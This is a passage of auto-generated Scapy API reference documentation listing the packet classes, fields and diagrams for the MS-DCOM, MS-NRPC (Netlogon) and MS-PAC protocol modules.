                       Fig. SECURITYBINDING                       


SECURITYBINDING fields






	wAuthnSvc

	LEShortEnumField

	0



	Reserved

	XShortField (Cond)

	65535



	aPrincName

	StrNullFieldUtf16 (Cond)

	b''















	
class scapy.layers.msrpce.msdcom.STRINGBINDING(_pkt, /, *, wTowerId=0, aNetworkAddr=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L440-L447]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L446-L447]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            WTOWERID           |          ANETWORKADDR         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. STRINGBINDING                        


STRINGBINDING fields






	wTowerId

	LEShortField

	0



	aNetworkAddr

	StrNullFieldUtf16

	b''















	
class scapy.layers.msrpce.msdcom.ScmReplyInfoData(_pkt, /, *, pdwReserved=None, remoteReply=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L295-L307]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PDWRESERVED          |          REMOTEREPLY          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ScmReplyInfoData                       


ScmReplyInfoData fields






	pdwReserved

	NDRFullPointerField

	None



	remoteReply

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.msdcom.ScmRequestInfoData(_pkt, /, *, pdwReserved=None, remoteRequest=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L180-L192]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PDWRESERVED          |         REMOTEREQUEST         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ScmRequestInfoData                      


ScmRequestInfoData fields






	pdwReserved

	NDRFullPointerField

	None



	remoteRequest

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.msdcom.SecurityInfoData(_pkt, /, *, dwAuthnFlags=0, pServerInfo=None, pdwReserved=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L244-L252]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DWAUTHNFLAGS         |          PSERVERINFO          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PDWRESERVED          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. SecurityInfoData                       


SecurityInfoData fields






	dwAuthnFlags

	NDRIntField

	0



	pServerInfo

	NDRFullPointerField

	None



	pdwReserved

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.msdcom.SpecialPropertiesData(_pkt, /, *, dwSessionId=0, fRemoteThisSessionId=0, fClientImpersonating=0, fPartitionIDPresent=0, dwDefaultAuthnLvl=0, guidPartition=<GUID  |>, dwPRTFlags=0, dwOrigClsctx=0, dwFlags=0, Reserved1=0, Reserved2=0, Reserved3=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L126-L141]

	Bases: NDRPacket


	
ALIGNMENT = (8, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DWSESSIONID          |      FREMOTETHISSESSIONID     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      FCLIENTIMPERSONATING     |      FPARTITIONIDPRESENT      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       DWDEFAULTAUTHNLVL       |         GUIDPARTITION         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           DWPRTFLAGS          |          DWORIGCLSCTX         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DWFLAGS            |           RESERVED1           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           RESERVED2           |           RESERVED3           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SpecialPropertiesData                    


SpecialPropertiesData fields






	dwSessionId

	NDRIntField

	0



	fRemoteThisSessionId

	NDRSignedIntField

	0



	fClientImpersonating

	NDRSignedIntField

	0



	fPartitionIDPresent

	NDRSignedIntField

	0



	dwDefaultAuthnLvl

	NDRIntField

	0



	guidPartition

	NDRPacketField

	<GUID  |>



	dwPRTFlags

	NDRIntField

	0



	dwOrigClsctx

	NDRIntField

	0



	dwFlags

	NDRIntField

	0



	Reserved1

	NDRIntField

	0



	Reserved2

	NDRLongField

	0



	Reserved3

	NDRFieldListField

	[]















	
class scapy.layers.msrpce.msdcom.customREMOTE_REPLY_SCM_INFO(_pkt, /, *, Oxid=0, pdsaOxidBindings=None, ipidRemUnknown=<GUID  |>, authnHint=0, serverVersion=<COMVERSION  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L281-L292]

	Bases: NDRPacket


	
ALIGNMENT = (8, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              OXID             |        PDSAOXIDBINDINGS       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         IPIDREMUNKNOWN        |           AUTHNHINT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SERVERVERSION         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. customREMOTE_REPLY_SCM_INFO                 


customREMOTE_REPLY_SCM_INFO fields






	Oxid

	NDRLongField

	0



	pdsaOxidBindings

	NDRFullPointerField

	None



	ipidRemUnknown

	NDRPacketField

	<GUID  |>



	authnHint

	NDRIntField

	0



	serverVersion

	NDRPacketField

	<COMVERSION  |>















	
class scapy.layers.msrpce.msdcom.customREMOTE_REQUEST_SCM_INFO(_pkt, /, *, ClientImpLevel=0, cRequestedProtseqs=0, pRequestedProtseqs=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L166-L177]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CLIENTIMPLEVEL        |       CREQUESTEDPROTSEQS      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       PREQUESTEDPROTSEQS      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. customREMOTE_REQUEST_SCM_INFO                


customREMOTE_REQUEST_SCM_INFO fields






	ClientImpLevel

	NDRIntField

	0



	cRequestedProtseqs

	NDRShortField

	0



	pRequestedProtseqs

	NDRFullPointerField

	None

















            

          

      

      

    

  

    
      
          
            
  
scapy.layers.msrpce.msnrpc

[MS-NRPC] Netlogon Remote Protocol

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/ff8f970f-3e37-40f7-bd4b-af7336e4792f


	
scapy.layers.msrpce.msnrpc.ComputeCopySeqNumber(ClientSequenceNumber, client)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L146-L152]

	




	
scapy.layers.msrpce.msnrpc.InitLMKey(KeyIn)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L92-L104]

	




	
class scapy.layers.msrpce.msnrpc.NetlogonClient(auth_level=RPC_C_AUTHN_LEVEL.NONE, domainname=None, computername=None, verb=True)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L374-L490]

	Bases: DCERPC_Client


	
alter_context()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L398-L399]

	




	
connect_and_bind(remoteIP)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L395-L396]

	




	
create_authenticator()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L401-L405]

	




	
negotiate_sessionkey(secretHash)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L426-L490]

	




	
setSessionKey(SessionKey)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L418-L424]

	




	
validate_authenticator(auth)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L407-L416]

	








	
class scapy.layers.msrpce.msnrpc.NetlogonSSP(SessionKey, computername, domainname, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L190-L368]

	Bases: SSP


	
class CONTEXT(IsClient, req_flags=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L198-L210]

	Bases: CONTEXT


	
AES

	




	
ClientSequenceNumber

	




	
IsClient

	








	
GSS_Accept_sec_context(Context, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L339-L355]

	




	
GSS_GetMICEx(Context, msgs, qop_req=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L309-L310]

	




	
GSS_Init_sec_context(Context, val=None, req_flags: GSS_C_FLAGS | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L318-L337]

	




	
GSS_UnwrapEx(Context, msgs, signature)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L312-L313]

	




	
GSS_VerifyMICEx(Context, msgs, signature)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L315-L316]

	




	
GSS_WrapEx(Context, msgs, qop_req=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L306-L307]

	




	
MaximumSignatureLength(Context: CONTEXT)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L357-L368]

	Returns the Maximum Signature length.

This will be used in auth_len in DceRpc5, and is necessary for
PFC_SUPPORT_HEADER_SIGN to work properly.






	
class STATE(value, names=None, *values, module=None, qualname=None, type=None, start=1, boundary=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L193-L196]

	Bases: STATE


	
CLI_SENT_NL = 2

	




	
INIT = 1

	




	
SRV_SENT_NL = 3

	








	
auth_type = 68

	








	
scapy.layers.msrpce.msnrpc.NewAuthenticatorAndCredential(ClientStoredCredential, Sk)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msnrpc.py#L126-L140]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.layers.msrpce.mspac

[MS-PAC]

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962
Up to date with version: 23.0


	
class scapy.layers.msrpce.mspac.CLAIMS_ARRAY(_pkt, /, *, usClaimsSourceType=0, ulClaimsCount=None, ClaimEntries=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L585-L599]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       USCLAIMSSOURCETYPE      |         ULCLAIMSCOUNT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CLAIMENTRIES         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. CLAIMS_ARRAY                         


CLAIMS_ARRAY fields






	usClaimsSourceType

	NDRInt3264EnumField

	0



	ulClaimsCount

	NDRIntField

	None



	ClaimEntries

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.mspac.CLAIMS_COMPRESSION_FORMAT(value, names=None, *values, module=None, qualname=None, type=None, start=1, boundary=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L462-L466]

	Bases: IntEnum


	
COMPRESSION_FORMAT_LZNT1 = 2

	




	
COMPRESSION_FORMAT_NONE = 0

	




	
COMPRESSION_FORMAT_XPRESS = 3

	




	
COMPRESSION_FORMAT_XPRESS_HUFF = 4

	








	
class scapy.layers.msrpce.mspac.CLAIMS_SET(_pkt, /, *, ulClaimsArrayCount=None, ClaimsArrays=None, usReservedType=0, ulReservedFieldSize=None, ReservedField=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L602-L623]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ULCLAIMSARRAYCOUNT      |          CLAIMSARRAYS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         USRESERVEDTYPE        |      ULRESERVEDFIELDSIZE      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         RESERVEDFIELD         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. CLAIMS_SET                          


CLAIMS_SET fields






	ulClaimsArrayCount

	NDRIntField

	None



	ClaimsArrays

	NDRFullPointerField

	None



	usReservedType

	NDRShortField

	0



	ulReservedFieldSize

	NDRIntField

	None



	ReservedField

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.mspac.CLAIMS_SET_METADATA(_pkt, /, *, ulClaimsSetSize=None, ClaimsSet=None, usCompressionFormat=0, ulUncompressedClaimsSetSize=None, usReservedType=0, ulReservedFieldSize=None, ReservedField=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L652-L677]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ULCLAIMSSETSIZE        |           CLAIMSSET           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      USCOMPRESSIONFORMAT      |  ULUNCOMPRESSEDCLAIMSSETSIZE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         USRESERVEDTYPE        |      ULRESERVEDFIELDSIZE      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         RESERVEDFIELD         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. CLAIMS_SET_METADATA                     


CLAIMS_SET_METADATA fields






	ulClaimsSetSize

	NDRIntField

	None



	ClaimsSet

	NDRFullPointerField

	None



	usCompressionFormat

	NDRInt3264EnumField

	0



	ulUncompressedClaimsSetSize

	NDRIntField

	None



	usReservedType

	NDRShortField

	0



	ulReservedFieldSize

	NDRIntField

	None



	ReservedField

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.mspac.CLAIMS_SOURCE_TYPE(value, names=None, *values, module=None, qualname=None, type=None, start=1, boundary=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L457-L459]

	Bases: IntEnum


	
CLAIMS_SOURCE_TYPE_AD = 1

	




	
CLAIMS_SOURCE_TYPE_CERTIFICATE = 2

	








	
class scapy.layers.msrpce.mspac.CLAIM_ENTRY(_pkt, /, *, Id=None, Type=0, Values=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L530-L582]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VALUE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. CLAIM_ENTRY                         


CLAIM_ENTRY fields






	Id

	NDRFullPointerField

	None



	Type

	NDRInt3264EnumField

	0



	Values

	NDRUnionField (NDRPacketField, NDRPacketField, NDRPacketField, NDRPacketField, StrFixedLenField)

	b''















	
class scapy.layers.msrpce.mspac.CLAIM_ENTRY_sub0(_pkt, /, *, ValueCount=None, Int64Values=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L469-L482]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           VALUECOUNT          |          INT64VALUES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. CLAIM_ENTRY_sub0                       


CLAIM_ENTRY_sub0 fields






	ValueCount

	NDRIntField

	None



	Int64Values

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.mspac.CLAIM_ENTRY_sub1(_pkt, /, *, ValueCount=None, Uint64Values=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L485-L495]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           VALUECOUNT          |          UINT64VALUES         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. CLAIM_ENTRY_sub1                       


CLAIM_ENTRY_sub1 fields






	ValueCount

	NDRIntField

	None



	Uint64Values

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.mspac.CLAIM_ENTRY_sub2(_pkt, /, *, ValueCount=None, StringValues=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L498-L514]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           VALUECOUNT          |          STRINGVALUES         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. CLAIM_ENTRY_sub2                       


CLAIM_ENTRY_sub2 fields






	ValueCount

	NDRIntField

	None



	StringValues

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.mspac.CLAIM_ENTRY_sub3(_pkt, /, *, ValueCount=None, BooleanValues=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L517-L527]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           VALUECOUNT          |         BOOLEANVALUES         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. CLAIM_ENTRY_sub3                       


CLAIM_ENTRY_sub3 fields






	ValueCount

	NDRIntField

	None



	BooleanValues

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.mspac.CLAIM_TYPE(value, names=None, *values, module=None, qualname=None, type=None, start=1, boundary=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L450-L454]

	Bases: IntEnum


	
CLAIM_TYPE_BOOLEAN = 6

	




	
CLAIM_TYPE_INT64 = 1

	




	
CLAIM_TYPE_STRING = 3

	




	
CLAIM_TYPE_UINT64 = 2

	








	
class scapy.layers.msrpce.mspac.CYPHER_BLOCK(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L140-L141]

	Bases: NDRPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. CYPHER_BLOCK                         


CYPHER_BLOCK fields






	data

	StrFixedLenField

	b''















	
class scapy.layers.msrpce.mspac.DOMAIN_GROUP_MEMBERSHIP(_pkt, /, *, DomainId=None, GroupCount=0, GroupIds=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L692-L706]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DOMAINID           |           GROUPCOUNT          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            GROUPIDS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. DOMAIN_GROUP_MEMBERSHIP                   


DOMAIN_GROUP_MEMBERSHIP fields






	DomainId

	NDRFullPointerField

	None



	GroupCount

	NDRIntField

	0



	GroupIds

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.mspac.FILETIME(_pkt, /, *, dwLowDateTime=0, dwHighDateTime=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L130-L132]

	Bases: NDRPacket


	
ALIGNMENT = (4, 4)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         DWLOWDATETIME         |         DWHIGHDATETIME        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. FILETIME                           


FILETIME fields






	dwLowDateTime

	NDRIntField

	0



	dwHighDateTime

	NDRIntField

	0















	
class scapy.layers.msrpce.mspac.GROUP_MEMBERSHIP(_pkt, /, *, RelativeId=0, Attributes=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L135-L137]

	Bases: NDRPacket


	
ALIGNMENT = (4, 4)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           RELATIVEID          |           ATTRIBUTES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. GROUP_MEMBERSHIP                       


GROUP_MEMBERSHIP fields






	RelativeId

	NDRIntField

	0



	Attributes

	NDRIntField

	0















	
class scapy.layers.msrpce.mspac.KERB_SID_AND_ATTRIBUTES(_pkt, /, *, Sid=None, Attributes=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L176-L181]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SID              |           ATTRIBUTES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. KERB_SID_AND_ATTRIBUTES                   


KERB_SID_AND_ATTRIBUTES fields






	Sid

	NDRFullPointerField

	None



	Attributes

	NDRIntField

	0















	
